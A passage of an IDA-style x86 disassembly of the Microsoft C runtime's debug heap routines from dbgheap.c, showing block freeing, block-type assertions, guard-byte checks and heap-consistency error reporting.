mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_41B7BF
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_41B7FA
; ---------------------------------------------------------------------------
loc_41B7BF: ; CODE XREF: sub_41B330+47Ej
; sub_41B330+4BEj
mov eax, ds:dword_4EE95C
cmp eax, [ebp+var_8]
jz short loc_41B7EA
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2C2h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B7EA
int 3 ; Trap to Debugger
loc_41B7EA: ; CODE XREF: sub_41B330+497j
; sub_41B330+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_41B7BF
mov edx, [ebp+var_C]
mov eax, [edx]
mov ds:dword_4EE95C, eax
loc_41B7FA: ; CODE XREF: sub_41B330+48Dj
cmp ds:dword_4EE95C, 0
jz short loc_41B811
mov ecx, ds:dword_4EE95C
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_41B819
; ---------------------------------------------------------------------------
loc_41B811: ; CODE XREF: sub_41B330+4D1j
mov eax, [ebp+var_C]
mov ds:dword_4EE954, eax
loc_41B819: ; CODE XREF: sub_41B330+4DFj
mov ecx, [ebp+var_C]
mov edx, ds:dword_4EE95C
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov ds:dword_4EE95C, ecx
mov eax, [ebp+var_4]
loc_41B83A: ; CODE XREF: sub_41B330+2Ej
; sub_41B330+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B330 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_41B870
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B870 proc near ; CODE XREF: seg000:0041B861p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_421A80
add esp, 4
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B330
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41B870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8B0 proc near ; CODE XREF: seg000:00401121p
; sub_402533+B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41B8F0
add esp, 8
pop ebp
retn
sub_41B8B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41B920
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8F0 proc near ; CODE XREF: sub_41AD80+98p
; sub_41B330+47p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B920
add esp, 8
push 9
call sub_421B20
add esp, 4
pop ebp
retn
sub_41B8F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B920 proc near ; CODE XREF: seg000:0041B8D9p
; sub_41B8F0+15p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, ds:dword_44FA40
and eax, 4
test eax, eax
jz short loc_41B963
loc_41B933: ; CODE XREF: sub_41B920+41j
call sub_41C000
test eax, eax
jnz short loc_41B95D
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 3E1h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B95D
int 3 ; Trap to Debugger
loc_41B95D: ; CODE XREF: sub_41B920+1Aj
; sub_41B920+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41B933
loc_41B963: ; CODE XREF: sub_41B920+11j
cmp [ebp+arg_0], 0
jnz short loc_41B96E
jmp loc_41BD05
; ---------------------------------------------------------------------------
loc_41B96E: ; CODE XREF: sub_41B920+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call ds:off_44FE20
add esp, 1Ch
test eax, eax
jnz short loc_41B9B8
loc_41B98D: ; CODE XREF: sub_41B920+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41B9AD
int 3 ; Trap to Debugger
loc_41B9AD: ; CODE XREF: sub_41B920+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41B98D
jmp loc_41BD05
; ---------------------------------------------------------------------------
loc_41B9B8: ; CODE XREF: sub_41B920+6Bj
; sub_41B920+CDj
mov edx, [ebp+arg_0]
push edx
call sub_41C460
add esp, 4
test eax, eax
jnz short loc_41B9E9
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 3F3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41B9E9
int 3 ; Trap to Debugger
loc_41B9E9: ; CODE XREF: sub_41B920+A6j
; sub_41B920+C6j
xor eax, eax
test eax, eax
jnz short loc_41B9B8
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_41B9F8: ; CODE XREF: sub_41B920+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41BA4B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_41BA4B
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41BA4B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_41BA4B
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 3F9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BA4B
int 3 ; Trap to Debugger
loc_41BA4B: ; CODE XREF: sub_41B920+E6j
; sub_41B920+EFj ...
xor edx, edx
test edx, edx
jnz short loc_41B9F8
mov eax, ds:dword_44FA40
and eax, 4
test eax, eax
jnz loc_41BB26
push 4
mov cl, ds:byte_44FA4C
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_41BF70
add esp, 0Ch
test eax, eax
jnz short loc_41BAC0
loc_41BA7D: ; CODE XREF: sub_41B920+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_44FA50[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41BABA
int 3 ; Trap to Debugger
loc_41BABA: ; CODE XREF: sub_41B920+197j
xor eax, eax
test eax, eax
jnz short loc_41BA7D
loc_41BAC0: ; CODE XREF: sub_41B920+15Bj
push 4
mov cl, ds:byte_44FA4C
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_41BF70
add esp, 0Ch
test eax, eax
jnz short loc_41BB26
loc_41BAE3: ; CODE XREF: sub_41B920+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_44FA50[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41BB20
int 3 ; Trap to Debugger
loc_41BB20: ; CODE XREF: sub_41B920+1FDj
xor eax, eax
test eax, eax
jnz short loc_41BAE3
loc_41BB26: ; CODE XREF: sub_41B920+13Bj
; sub_41B920+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_41BB9B
loc_41BB2F: ; CODE XREF: sub_41B920+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_41BB44
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_41BB65
loc_41BB44: ; CODE XREF: sub_41B920+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 40Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BB65
int 3 ; Trap to Debugger
loc_41BB65: ; CODE XREF: sub_41B920+222j
; sub_41B920+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_41BB2F
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, ds:byte_44FA4D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41D100
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_421F00
add esp, 4
jmp loc_41BD05
; ---------------------------------------------------------------------------
loc_41BB9B: ; CODE XREF: sub_41B920+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_41BBB1
cmp [ebp+arg_4], 1
jnz short loc_41BBB1
mov [ebp+arg_4], 2
loc_41BBB1: ; CODE XREF: sub_41B920+282j
; sub_41B920+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41BBDD
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 41Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BBDD
int 3 ; Trap to Debugger
loc_41BBDD: ; CODE XREF: sub_41B920+29Aj
; sub_41B920+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_41BBB1
mov edx, [ebp+var_4]
mov eax, ds:dword_4EE960
sub eax, [edx+10h]
mov ds:dword_4EE960, eax
mov ecx, ds:dword_44FA40
and ecx, 2
test ecx, ecx
jnz loc_41BCDC
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_41BC1C
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_41BC5A
; ---------------------------------------------------------------------------
loc_41BC1C: ; CODE XREF: sub_41B920+2EAj
; sub_41B920+32Cj
mov ecx, ds:dword_4EE954
cmp ecx, [ebp+var_4]
jz short loc_41BC48
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 42Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BC48
int 3 ; Trap to Debugger
loc_41BC48: ; CODE XREF: sub_41B920+305j
; sub_41B920+325j
xor edx, edx
test edx, edx
jnz short loc_41BC1C
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov ds:dword_4EE954, ecx
loc_41BC5A: ; CODE XREF: sub_41B920+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_41BC72
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_41BCAF
; ---------------------------------------------------------------------------
loc_41BC72: ; CODE XREF: sub_41B920+341j
; sub_41B920+382j
mov ecx, ds:dword_4EE95C
cmp ecx, [ebp+var_4]
jz short loc_41BC9E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 434h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BC9E
int 3 ; Trap to Debugger
loc_41BC9E: ; CODE XREF: sub_41B920+35Bj
; sub_41B920+37Bj
xor edx, edx
test edx, edx
jnz short loc_41BC72
mov eax, [ebp+var_4]
mov ecx, [eax]
mov ds:dword_4EE95C, ecx
loc_41BCAF: ; CODE XREF: sub_41B920+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, ds:byte_44FA4D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41D100
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_421F00
add esp, 4
jmp short loc_41BD05
; ---------------------------------------------------------------------------
loc_41BCDC: ; CODE XREF: sub_41B920+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, ds:byte_44FA4D
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_41D100
add esp, 0Ch
loc_41BD05: ; CODE XREF: sub_41B920+49j
; sub_41B920+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41BD30
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD30 proc near ; CODE XREF: seg000:0041BD19p
; sub_41FDB0+11p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, ds:dword_44FA40
and eax, 4
test eax, eax
jz short loc_41BD75
loc_41BD45: ; CODE XREF: sub_41BD30+43j
call sub_41C000
test eax, eax
jnz short loc_41BD6F
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 47Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BD6F
int 3 ; Trap to Debugger
loc_41BD6F: ; CODE XREF: sub_41BD30+1Cj
; sub_41BD30+3Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41BD45
loc_41BD75: ; CODE XREF: sub_41BD30+13j
push 9
call sub_421A80
add esp, 4
loc_41BD7F: ; CODE XREF: sub_41BD30+84j
mov edx, [ebp+arg_0]
push edx
call sub_41C460
add esp, 4
test eax, eax
jnz short loc_41BDB0
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 485h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BDB0
int 3 ; Trap to Debugger
loc_41BDB0: ; CODE XREF: sub_41BD30+5Dj
; sub_41BD30+7Dj
xor eax, eax
test eax, eax
jnz short loc_41BD7F
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_8], ecx
loc_41BDBF: ; CODE XREF: sub_41BD30+E6j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41BE12
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 1
jz short loc_41BE12
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41BE12
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_41BE12
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 48Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BE12
int 3 ; Trap to Debugger
loc_41BE12: ; CODE XREF: sub_41BD30+9Dj
; sub_41BD30+A6j ...
xor edx, edx
test edx, edx
jnz short loc_41BDBF
mov eax, [ebp+var_8]
cmp dword ptr [eax+14h], 2
jnz short loc_41BE2E
cmp [ebp+arg_4], 1
jnz short loc_41BE2E
mov [ebp+arg_4], 2
loc_41BE2E: ; CODE XREF: sub_41BD30+EFj
; sub_41BD30+F5j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_41BE69
loc_41BE37: ; CODE XREF: sub_41BD30+137j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41BE63
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 492h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BE63
int 3 ; Trap to Debugger
loc_41BE63: ; CODE XREF: sub_41BD30+110j
; sub_41BD30+130j
xor ecx, ecx
test ecx, ecx
jnz short loc_41BE37
loc_41BE69: ; CODE XREF: sub_41BD30+105j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_4], eax
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BD30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_44FA48
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_44FA48, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 9
call sub_421A80
add esp, 4
mov eax, [ebp+8]
push eax
call sub_41C460
add esp, 4
test eax, eax
jz short loc_41BF3C
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
loc_41BEDA: ; CODE XREF: seg000:0041BF31j
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41BF2D
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_41BF2D
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41BF2D
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jz short loc_41BF2D
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4D3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41BF2D
int 3 ; Trap to Debugger
loc_41BF2D: ; CODE XREF: seg000:0041BEE8j
; seg000:0041BEF1j ...
xor edx, edx
test edx, edx
jnz short loc_41BEDA
mov eax, [ebp-4]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_41BF3C: ; CODE XREF: seg000:0041BECFj
push 9
call sub_421B20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:off_44FE20
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:off_44FE20, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BF70 proc near ; CODE XREF: sub_41B920+151p
; sub_41B920+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_41BF7E: ; CODE XREF: sub_41BF70:loc_41BFECj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_41BFEE
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_41BFEC
loc_41BFAB: ; CODE XREF: sub_41BF70+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41BFDF
int 3 ; Trap to Debugger
loc_41BFDF: ; CODE XREF: sub_41BF70+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41BFAB
mov [ebp+var_4], 0
loc_41BFEC: ; CODE XREF: sub_41BF70+39j
jmp short loc_41BF7E
; ---------------------------------------------------------------------------
loc_41BFEE: ; CODE XREF: sub_41BF70+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C000 proc near ; CODE XREF: sub_41AF30:loc_41AF4Cp
; sub_41B330:loc_41B392p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_4], 1
mov eax, ds:dword_44FA40
and eax, 1
test eax, eax
jnz short loc_41C026
mov eax, 1
jmp loc_41C358
; ---------------------------------------------------------------------------
loc_41C026: ; CODE XREF: sub_41C000+1Aj
push 9
call sub_421A80
add esp, 4
call sub_421F70
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jz loc_41C149
cmp [ebp+var_C], 0FFFFFFFEh
jz loc_41C149
mov ecx, [ebp+var_C]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
add edx, 6
mov [ebp+var_18], edx
cmp [ebp+var_18], 3
ja loc_41C112
mov eax, [ebp+var_18]
jmp ds:off_41C35F[eax*4]
loc_41C06F: ; CODE XREF: sub_41C000+93j
; DATA XREF: seg000:0041C36Bo
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C08F
int 3 ; Trap to Debugger
loc_41C08F: ; CODE XREF: sub_41C000+8Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41C06F
jmp loc_41C138
; ---------------------------------------------------------------------------
loc_41C09A: ; CODE XREF: sub_41C000+68j
; sub_41C000+BEj
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C0BA
int 3 ; Trap to Debugger
loc_41C0BA: ; CODE XREF: sub_41C000+B7j
xor edx, edx
test edx, edx
jnz short loc_41C09A
jmp short loc_41C138
; ---------------------------------------------------------------------------
loc_41C0C2: ; CODE XREF: sub_41C000+68j
; sub_41C000+E6j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C0E2
int 3 ; Trap to Debugger
loc_41C0E2: ; CODE XREF: sub_41C000+DFj
xor eax, eax
test eax, eax
jnz short loc_41C0C2
jmp short loc_41C138
; ---------------------------------------------------------------------------
loc_41C0EA: ; CODE XREF: sub_41C000+68j
; sub_41C000+10Ej
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C10A
int 3 ; Trap to Debugger
loc_41C10A: ; CODE XREF: sub_41C000+107j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C0EA
jmp short loc_41C138
; ---------------------------------------------------------------------------
loc_41C112: ; CODE XREF: sub_41C000+5Fj
; sub_41C000+136j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C132
int 3 ; Trap to Debugger
loc_41C132: ; CODE XREF: sub_41C000+12Fj
xor edx, edx
test edx, edx
jnz short loc_41C112
loc_41C138: ; CODE XREF: sub_41C000+95j
; sub_41C000+C0j ...
push 9
call sub_421B20
add esp, 4
xor eax, eax
jmp loc_41C358
; ---------------------------------------------------------------------------
loc_41C149: ; CODE XREF: sub_41C000+3Cj
; sub_41C000+46j
mov eax, ds:dword_4EE95C
mov [ebp+var_8], eax
jmp short loc_41C15B
; ---------------------------------------------------------------------------
loc_41C153: ; CODE XREF: sub_41C000:loc_41C346j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_41C15B: ; CODE XREF: sub_41C000+151j
cmp [ebp+var_8], 0
jz loc_41C34B
mov [ebp+var_10], 1
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41C1A0
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 1
jz short loc_41C1A0
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41C1A0
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 3
jnz short loc_41C1B8
loc_41C1A0: ; CODE XREF: sub_41C000+17Bj
; sub_41C000+184j ...
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_44FA50[ecx*4]
mov [ebp+var_14], edx
jmp short loc_41C1BF
; ---------------------------------------------------------------------------
loc_41C1B8: ; CODE XREF: sub_41C000+19Ej
mov [ebp+var_14], offset aDamaged ; "DAMAGED"
loc_41C1BF: ; CODE XREF: sub_41C000+1B6j
push 4
mov al, ds:byte_44FA4C
push eax
mov ecx, [ebp+var_8]
add ecx, 1Ch
push ecx
call sub_41BF70
add esp, 0Ch
test eax, eax
jnz short loc_41C214
loc_41C1DA: ; CODE XREF: sub_41C000+20Bj
mov edx, [ebp+var_8]
add edx, 20h
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41C207
int 3 ; Trap to Debugger
loc_41C207: ; CODE XREF: sub_41C000+204j
xor eax, eax
test eax, eax
jnz short loc_41C1DA
mov [ebp+var_10], 0
loc_41C214: ; CODE XREF: sub_41C000+1D8j
push 4
mov cl, ds:byte_44FA4C
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+20h]
push edx
call sub_41BF70
add esp, 0Ch
test eax, eax
jnz short loc_41C271
loc_41C237: ; CODE XREF: sub_41C000+268j
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_14]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41C264
int 3 ; Trap to Debugger
loc_41C264: ; CODE XREF: sub_41C000+261j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C237
mov [ebp+var_10], 0
loc_41C271: ; CODE XREF: sub_41C000+235j
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 0
jnz short loc_41C2CA
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov dl, ds:byte_44FA4D
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
call sub_41BF70
add esp, 0Ch
test eax, eax
jnz short loc_41C2CA
loc_41C29B: ; CODE XREF: sub_41C000+2C1j
mov ecx, [ebp+var_8]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C2BD
int 3 ; Trap to Debugger
loc_41C2BD: ; CODE XREF: sub_41C000+2BAj
xor edx, edx
test edx, edx
jnz short loc_41C29B
mov [ebp+var_10], 0
loc_41C2CA: ; CODE XREF: sub_41C000+278j
; sub_41C000+299j
cmp [ebp+var_10], 0
jnz short loc_41C346
mov eax, [ebp+var_8]
cmp dword ptr [eax+8], 0
jz short loc_41C30C
loc_41C2D9: ; CODE XREF: sub_41C000+30Aj
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_8]
